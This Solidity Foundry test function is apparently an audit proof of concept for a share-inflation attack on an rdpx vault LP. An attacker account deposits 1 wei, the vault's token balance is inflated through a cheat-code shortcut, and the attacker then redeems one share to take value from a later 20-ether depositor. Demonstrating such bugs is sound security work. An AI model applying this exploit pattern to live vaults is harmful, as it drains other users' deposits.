 function test_second_user_loss_share() external {
  //=============================
  address  hecer  = makeAddr("Hecer");
  address  investor = makeAddr("investor");
  //=============================

 setApprovals(hecer);
 setApprovals(investor);

    mintWeth(1 wei, hecer); // hecker starts with 1 wei 
    mintWeth(20 ether, investor);
 
 
 console.log("WETH Balance Of attacker before " , weth.balanceOf(hecer));          
   console.log("RDPX Balance Of attacker before " ,rdpx.balanceOf(hecer));
    deposit(1 wei, hecer);

    //===============================================================================================================
    /* This step isn't possible like this owner should call  `settle` in RdpxV2Core , but for the simplicity lets say
        10 rdpx tokens transfered into vaultLP   after hecer deposit 1 wei of weth and get 1 share 
    */ 
    deal(address(rdpx),address(vaultLp),10 ether);  // 10 tokens because rpdx 18 decimals // 0x32eb7902d4134bf98a28b963d26de779af92a212 
    vm.prank(address(vault));
    vaultLp.addRdpx(10 ether);
//===============================================================================================================
//   Then the investor deposits  20 ether 
    deposit(20 ether, investor);
    
    uint256 userBalance = vaultLp.balanceOf(hecer);
    uint256 userBalance2 = vaultLp.balanceOf(investor);
    console.log("Lp-balance Of attacker : %s share " , userBalance);
    console.log("Lp-balance Of investor : %s share " , userBalance2);
          // (uint asset , uint rdpxA)= vaultLp.redeemPreview(uint256(1));
    vm.prank(hecer);
    vaultLp.redeem(uint256(1),hecer,hecer);

   console.log("WETH Balance Of attacker after" , weth.balanceOf(hecer));  //Starting with 1wei attacker endUp with 2 wrapped ether ;    
   console.log("RDPX Balance Of attacker after" ,rdpx.balanceOf(hecer));        
  }
